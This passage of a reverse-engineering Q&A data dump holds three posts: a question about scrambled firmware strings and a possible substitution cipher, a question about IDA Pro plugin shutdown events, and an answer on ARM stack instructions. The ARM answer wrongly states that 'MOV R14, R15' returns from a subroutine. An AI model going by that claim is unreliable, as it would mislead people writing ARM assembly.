:l&#xA;0`YhaGp`a9&#xA;I&amp;amp;N'H&amp;amp;M(L'&#xA;CJLLKIMHL`+#&#xA;J!H!!=L&quot;N!&#xA;GE6420&amp;gt;&amp;lt;:8QOMKYWUS&#xA;-NAL@x!xcx&#xA;&amp;lt;+,I+K*H&amp;amp;x&#xA;-K\M[L\x/x#x&#xA;./..il/.eh/b-xilmmocm/nos/ucerahrs/drd/crevicpi/&#xA;c../..il/.eh/b-xilmmocm/nos/ucerahrs/drd/creviCiu/.mmo&#xA;c./..il/.eh/b-xilmmocm/nom/uc_nias/4md/creviriu/rCpsI.mmo&#xA;./..il/.eh/b-xilmmocm/nom/uc_nias/4md/creviriu/rUpsItadp&#xA;?cnySnorhdezi&#xA;cnySnorhdezi&#xA;cnySnorhdezi&#xA;0tinImoC telp&#xA;d% C862 95341 86&#xA;62 W5348 8694201&#xA;./..il/.OP/balPDhs/yderacrs/ird//revCIPS.mmo&#xA;cORRES :R%[IP :]d toGinapni cacid!rot:CP 0%x0&#xA;X8[IPS ]d%eteDdetc XR revowolfd%( &#xA;) IPSe xrrorrd% :&#xA;f oN eer IPSp xrekca&#xA;tseborrE=! rFx0 FFFF&#xA;FFF./..il/.eh/b-xilmmocm/nos/ucerahrs/drd/crevirau/&#xA;./..il/.OP/balPDcm/yrs/urd/creviips/&#xA;NY./..il/.OP/balPDcm/yrs/urd/crevimds/c.cm&#xA;./..il/.OP/balPDcm/yrs/urd/crevimds/eDcm&#xA;./..il/.OP/balPDcm/yrs/urd/crevipsd/&#xA;./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirop/r&#xA;./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirep/r.lad&#xA;./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirim/riDid&#xA;c.n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevir6l/rkniLc.CB&#xA;./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevir6l/rkniL&#xA;./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirav/rxair&#xA;c../..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirid/ratigduAloIoi&#xA;c.-tve di&amp;gt;EH &amp;lt;CXILRTNOE_LOTNEV_DI_NUOC&#xA;Tipg!er_ouOdatuptLEH(OCXIORTNER_L_TESTROPEH ,CXILRTNOR_LOTESENIP_&amp;amp;&amp;amp; )pg! r_oiOdaeuptuEH(tCXILRTNOB_LO_TOOTROPEH ,CXILRTNOB_LO_TOO)NIP&#xA;Y&amp;lt; diLEH OCXIORTNVE_L_TNEC_DITNUO&#xA; bc(N =!)LLU &amp;amp;&amp;amp; -bc(nuf&amp;gt;oitc=! nLUN &#xA;)LcaPp tekN =!&#xA;LLUtyb(uoCe= tn)0 = || yb((oCet tnu)0 &amp;gt; &amp;amp;&amp;amp; aDp(! atUN =))LL&#xA;S_SIECCUr(SS&#xA;)seleHgoCxiortnIsIlitinzila&#xA;deS_SIECCUr(SSaVte&#xA;ers/.rd/crevileh/oCxiortneh/lCxilrtnoc.lo&#xA;rs/.rd/crevileh/oCxiortneh/lCxilrtnoELlo&#xA;c.Drs/.rd/crevileh/oCxiortneh/lCxilrtnocSlobbirCLel&#xA;c.DLrtstgne=&amp;lt; hxam eziStSfOgnir&#xA;rs/.rd/crevileh/oCxiortneh/lCxilrtnoaMloCLni&#xA;c.Drs/.rd/crevileh/oCxiortneh/lCxilrtnoiUlonevE&#xA;c.tPcHpekcaEiUttnevwS&amp;gt;-hcti di.EH &amp;lt;CXILRTNOP_LOEKCAIU_TNEVEWS_THCTI_DI_NUOC&#xA;TPcHpekcaEiUttnevwS&amp;gt;-hctiats.&amp;lt; etLEH OCXIORTNAP_LTEKCEIU_TNEVIWS__HCTTATSDI_EUOC_&#xA;TNVEIU_TNEULAVNI_Ep*(TvEiUDtnercseotpi! )rIU =NEVEAV_T_EULLLUN&#xA;PcHpekcaEiUttnevep&amp;gt;-.lad&amp;lt; diLEH OCXIORTNAP_LTEKCEIU_TNEVDEP_I_LAOC_D&#xA;TNUPcHpekcaEiUttnevep&amp;gt;-.ladulav=&amp;lt; e0.1 &#xA;rs/.rd/crevileh/oCxiortneh/lCxilrtnosIlomoCp&#xA;c.m-tve di&amp;gt;EH &amp;lt;CXILRTNOI_LOU_PSTADPVE_E_TNEP_DIECORC_SSTNUO&#xA;rs/.rd/crevileh/oCxiortneh/lCxilrtnosIlodpUp.eta&#xA;c&amp;lt; diLEH OCXIORTNSI_LPU_PETADEVE_I_TNRP_DSECOOC_S&#xA;DN./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirce/rrDmo&#xA;|FUI$N#F0h3G&#xA;./..il/.OP/balPDcm/yrs/usd/csd/pnaMprega&#xA;c.essartSt maeN =!&#xA;./..il/.OP/balPDcm/yrs/usd/csd/pnoCplorteilCc.tn&#xA;./..il/.OP/balPDhs/yderacrs/sys//mettSOImaer&#xA;h.W_SI_DROEZISILA_DENGzis(&#xA;)eW_SI_DROEZISILA_DENGfub(&#xA;)zSW_SI_DROEZISILA_DENGlav(uBeu)zSf&#xA;./..il/.OP/balPDcm/yrs/usd/csd/pnoCplorteilCM_tnoPgsc.tr&#xA;./..il/.OP/balPDcm/yrs/usd/csd/polSp&#xA;./..il/.OP/balPDcm/yrs/usd/csd/pnoCptxet&#xA;./..il/.OP/balPDcm/yrs/usd/csd/pteMpnaMarega&#xA;./..il/.OP/balPDcm/yrs/usd/csd/pteMpmySaslob&#xA;./..il/.OP/balPDcm/yrs/usd/csd/pseRpcruonaMerega&#xA;UedniEnIxyrtnlbaT &amp;lt; en&amp;gt;-csUmunEdeeirt&#xA;se&amp;gt;-cirtni[sexednnEnITyrtelbaer.] DIsr ==DIse&#xA;./..il/.OP/balPDcm/yrs/usd/csd/pseRpcruocaCec.eh&#xA;./..il/.OP/balPDcm/yrs/uht/cdaeruM/s.xet&#xA;?6~j?p?j?&amp;amp;&#xA;AH?kc7?ei&amp;amp;?&#xA;M?O?^?QKf?gff?&#xA;V+?ov-?yV%?&#xA;o&amp;gt;aUq&amp;gt;y_q&amp;gt;1&#xA;gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?eff&#xA;4&amp;gt;13;&amp;gt;afB&amp;gt;&#xA;X&amp;gt;13_&amp;gt;aff&amp;gt;&#xA;%?gf'?33)?&#xA;.?gf0?332?&#xA;7?gf9?33;?&#xA;@?gfB?33D?&#xA;I?gfK?33M?&#xA;R?gfT?33V?&#xA;[?gf]?33_?&#xA;R?iNK?uuC?;&amp;gt;;?9&#xA;k?cRf?Q]`?&#xA;r??%t?aIu?&#xA;dv?aIu??%t?&#xA;r?ytm?QGh?U&#xA;=A_-&amp;gt;)Ki&amp;gt;5&#xA;P?WBM?OpI?%&#xA;@&amp;lt;e5F&amp;lt;7F7&amp;lt;&#xA;b:b{JW#$F8`&#xA;tluM1( i,&quot;4/RLX iD ,atigU ,l1 BS&#xA;igiD latP/S(,FIDSEA UBE/ro , 6L KNIL&#xA;tluMG( iatiuA ,r ,xuiraV&#xA;iraVM xaengascit&#xA;igiD latP/S( FIDA roE/SE&#xA;tluMG( iatiuA ,r ,xuiraV&#xA;iraVM xaengascit&#xA;igiD latP/S( FIDA roE/SE&#xA;tluM1( i,&quot;4/RLX iD ,atigU ,l1 BS&#xA;igiD latP/S(,FIDSEA UBE/ro , 6L KNIL&#xA;( ittiuG ,ra,xuAraV )xai&#xA; xaingaMcite&#xA;( it&quot;4/1LX ,D ,Rtigi ,la BSU)2/1&#xA;lati/S( FIDPEA ,BE/So ,U6L rNIL &#xA;kcaP stetnes   :    &#xA;kcaP steecerdevi   :    &#xA;   orrE :sr        &#xA;-:2LD--- DP&#xA;---ileHoC xortnd :locsicenn&#xA;detileHoC xortnc :lennodetc&#xA;   ileHoC xortne :lemunetar&#xA;  dV WFisre :no---v---.---.&#xA;&quot;`F!`l`,Hm`&#xA;KlNk`4JlF!p&#xA;HhIgp,p4MhNgp&#xA;xdi( =&amp;gt; &amp;amp; )0i( &amp;amp;&amp;lt; xdDIU LPSIL_YAI_DEOC_D)TNU&#xA;cLch dIdEH &amp;lt;CXILRTNOP_LOEKCACS_TBBIRL_ELI_DCOC_D&#xA;TNUrs/.iu/cDiu/lpsic.ya&#xA;^./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpag/schparMsciganac.re&#xA;4./..il/.OP/balPDcm/yrs/uiu/carg/cihprg/sihpaeMscaMategan&#xA;p./..il/.OP/balPDcm/yrs/uiu/carg/cihprg/sihpaeRscruosaMecegan&#xA;JNHMNOINMPOO#&#xA;tadep &amp;lt; lADEPDI_LUOC_&#xA;TNnevei&amp;gt;-t== dLEH OCXIORTNVE_L_TNEU_DIEVEI&#xA;nwoEiUgtnevksaTnuRsgnin&#xA;./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/criu/inevE&#xA;./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpat/sc.txe&#xA;./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpag/schparOscicejbiu/tgamI&#xA;E./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpag/schparOscicejbiu/tgdiWc.te&#xA;l/..m/biapgss/kco/crcejbc.ct&#xA;:TREOOP si Lard deni&#xA;:TREmem _rgmollaSI cTUO  FO OMEM!!YR&#xA;HkMjC4IkKk&#xA;NiF)F(p=p%p&#xA;wsileHoC xortn - lmunEtare&#xA;deileHoC xortn - ledlOev roisred ntcet&#xA;deileHoC xortn - leweNev roisred ntcet&#xA;deileHoC xortn - lernUngocdezi wf eteddetc&#xA;./..il/.OP/balPDcm/yrs/uht/cdaerhT/sdaer&#xA;h.rs/.pa/cpa/p&#xA;col(oita! )nUN =&#xA;LLsed(pirc)rot =! LLUN&#xA;olb( )kcN =!&#xA;LLUter(IjbO! )DUN =&#xA;LLrs/.pa/cpa/ppsDp&#xA;c.RELAI :Tlavnf diIwold% d&#xA;uos(Iecr! )DUN =&#xA;LLnis()DIk =! LLUN&#xA;Ijbo=! DLUN &#xA;LZterSeno eziN =!&#xA;LLUwolf =! LLUN&#xA;H !F1Q`F 3&#xA;PedniZnIx enoeg &amp;lt;xaMtenoZeziSnoz(&#xA;)eolf(! )wUN =&#xA;LLacolnoit =! LLUN&#xA;acolnoitni&amp;gt;-IxednoZn=&amp;gt; e&#xA;0 acolnoitni&amp;gt;-IxednoZn &amp;lt; eMtegoZxaiSenz(ez)eno&#xA;edniZnIx enoPA &amp;lt;SD_PLF_PM_WOB_XAKCOLEP_SOZ_R&#xA;ENeppuziSr== ePPA PSD_OLF_AM_WLB_XSKCOREP_NOZ_&#xA;Etgt(wolFrp&amp;gt;-ziSe + eFtgt-wolppu&amp;gt;iSre )ezA =&amp;lt;D_PPF_PS_WOL_XAMCOLBP_SKZ_RE&#xA;ENOtgt(wolFrp&amp;gt;-ziSe + eFtgt-wolppu&amp;gt;iSre+ eztgt wolFop&amp;gt;-iSts )ezA =&amp;lt;D_PPF_PS_WOL_XAMCOLBP_SKZ_RE&#xA;ENOenozeziS =&amp;gt; &#xA;0Serp ezi0 ==&#xA;wolfrp&amp;gt;-ziSe + ewolfpu&amp;gt;-Srep ezilf +&amp;gt;-wotsopeziS =&amp;lt; _PPA_PSDWOLFXAM_OLB__SKC_REPENOZ&#xA;ewoluoCr! tn&#xA;0 =potspooL :rearapoN moF t dnu&#xA;ewoluoCr= tn&#xA;0 =ovipdnIt&amp;gt; xe&#xA;0 =ovipdnIt&amp;lt; xeteg ZxaMSeno(ezienoz&#xA;)enoz =! LLUN&#xA;rs/.pa/cpa/ppsDpwolF&#xA;c.enozeziS =&amp;lt; _PPA_PSDWOLFXAM_OLB__SKC_REPENOZ&#xA;edniZnIx eno0 =&amp;gt;&#xA;ruosnIec xed0 =&amp;gt;&#xA;ruosnIec xedPA &amp;lt;SD_PLF_PM_WOB_XAKCOLEP_SOZ_R&#xA;ENgratnIte xed0 =&amp;gt;&#xA;gratnIte xedPA &amp;lt;SD_PLF_PM_WOB_XAKCOLEP_SOZ_R&#xA;ENbmunfOrecolB&amp;gt; sk&#xA;0 =bmunfOrecolB&amp;lt; skPA =SD_PLF_PM_WOB_XAKCOLEP_SOZ_R&#xA;ENuos_Iecrxedn =&amp;gt; &#xA;0rat_Itegxedn =&amp;gt; &#xA; :RtuorSgni-tolrap&amp;gt;Ztne enoN =!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's also some ASCII art later in the output, which I believe is used to control the ouput of some small LCD displays on the device:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJR%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)JR%)JRJR%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)JR%)JRJR%)JR%)%)%)%)%)%)JR%)JRJR%)%)%)%)%)%)%)%)%)%)JRJRJRJR%)%)%)%)JRJR%)JR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JR%)JR%)%)%)%)%)%)%)%)%)JR%)JRJR%)%)%)%)%)%)JR%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)JRJRJR%)%)JR%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)JRJRJR%)%)JR%)%)%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)JR%)%)%)JR%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JR%)%)JR%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)JR%)JRJR%)JR%)%)%)%)JR%)%)%)%)%)JR%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)JRJR%)%)%)%)JR%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JR%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JR%)%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JR%)JRJR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)JRJRJRJR%)%)%)%)JR%)JRJR%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)JR%)JRJRJRJR%)JR%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Given that the ASCII art remains mostly intact, I think it's likely that whatever means of obfuscation this firmware is using is fairly weak. But I'm new to firmware analysis, so I'm not sure if that's a logical conclusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this file using a substitution cipher of some kind? Or perhaps another kind of simple obfuscation?&lt;/p&gt;&#xA;" OwnerUserId="24891" LastActivityDate="2018-07-05T10:22:16.510" Title="Is this firmware using a substitution cipher?" Tags="|binary-analysis|firmware|cryptography|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18683" PostTypeId="1" AcceptedAnswerId="18756" CreationDate="2018-07-04T11:18:39.857" Score="2" ViewCount="252" Body="&lt;p&gt;Is there any way to get  SDK API  message when Ida Pro is closing?&#xA;I write plug-in that connect with other  application and I need to close connections when IDA is closing.&lt;/p&gt;&#xA;" OwnerUserId="24890" LastActivityDate="2018-07-11T10:01:37.190" Title="How to get closing message from IDA Pro?" Tags="|ida|idapro-sdk|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18684" PostTypeId="2" ParentId="18681" CreationDate="2018-07-04T11:33:48.770" Score="2" Body="&lt;p&gt;There is no specific stack pointer register in ARM. By convention &lt;code&gt;R13&lt;/code&gt; is used as the stack pointer. There is no specific push and pop style stack pointer operands either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pushing and popping from the stack is carried out using the &lt;code&gt;STM&lt;/code&gt; (store to memory) and &lt;code&gt;LDM&lt;/code&gt; (load from memory) operands. These operands can be modified with the post fixes &lt;code&gt;IA&lt;/code&gt; and &lt;code&gt;DB&lt;/code&gt;. &lt;code&gt;IA&lt;/code&gt; is increment after, and &lt;code&gt;DB&lt;/code&gt; is decrement before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;STMDB&lt;/code&gt; means store to memory, decrementing before the store. I.e. pushing on to a full descending stack. The inverse of this would be &lt;code&gt;LDMIA&lt;/code&gt; which is popping from a full descending stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can have &lt;code&gt;STMIA&lt;/code&gt; and &lt;code&gt;LDMDB&lt;/code&gt; which means pushing and popping on to and off of an empty ascending stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FD&lt;/code&gt; is the synonym for full descending and &lt;code&gt;EA&lt;/code&gt; is the synonym for empty ascending. So &lt;code&gt;STMDB&lt;/code&gt; and &lt;code&gt;STMFD&lt;/code&gt; are the same. &lt;code&gt;LDMIA&lt;/code&gt;, &lt;code&gt;LDMFD&lt;/code&gt; are the same. And so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a full instruction would be for example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STMDB R13!, {R0 - R3}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which means push &lt;code&gt;R0&lt;/code&gt;, then &lt;code&gt;R1&lt;/code&gt;, then &lt;code&gt;R2&lt;/code&gt; and then &lt;code&gt;R3&lt;/code&gt; on to a full descending stack using &lt;code&gt;R13&lt;/code&gt; as the stack point. The address being written too is updated for each registered pushed. The &lt;code&gt;!&lt;/code&gt; means write back and means that &lt;code&gt;R13&lt;/code&gt; is updated with the final address so it can be used again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BL&lt;/code&gt; (branch with link) does NOT affect the stack or the stack pointer. It merely copies the current &lt;code&gt;PC&lt;/code&gt; (&lt;code&gt;R15&lt;/code&gt;) in to link (&lt;code&gt;R14&lt;/code&gt;) before the jump. A simple...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV R14, R15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... will return you back to the original address. However many may pop link straight in to PC at the end of a subroutine. For example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.my_sub_routine&#xA;STMFD R13!, {R0, R1, R14}&#xA;// Do stuff&#xA;LDMFD R13!, {R0, R1, R15} // pop link straight in to PC meaning return.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24894" LastEditorUserId="245" LastEditDate="2018-07-04T13:46:52.080" LastActivityDate="2018-07-04T13:46:52.080" 